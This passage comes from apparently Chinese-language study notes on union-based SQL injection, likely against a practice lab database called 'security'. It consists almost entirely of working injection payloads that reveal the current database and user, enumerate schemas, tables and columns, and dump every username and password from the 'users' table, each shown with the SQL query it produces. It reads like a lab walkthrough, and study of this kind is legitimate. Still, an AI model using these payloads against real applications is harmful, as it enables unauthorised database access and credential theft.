near '1' --+ ' LIMIT 0,1
?id=999' union select 1,database(),5 --+ 当前数据库
?id=999' union select 1,user(),5 --+ 当前用户名
爆数据库
?id=-1' union select 1,group_concat(schema_name),5 from information_schema.schemata --+
SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata --+ LIMIT 0,1
爆 security 数据表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+ LIMIT 0,1
爆users表的列
?id=-1' union select 1,group_concat(column_name),5 from information_schema.columns where table_name='users' --+
SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+ LIMIT 0,1
爆 users 的所有数据
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
SELECT * FROM users WHERE id='-1'union select 1,group_concat(username),group_concat(password) from users --+ LIMIT 0,1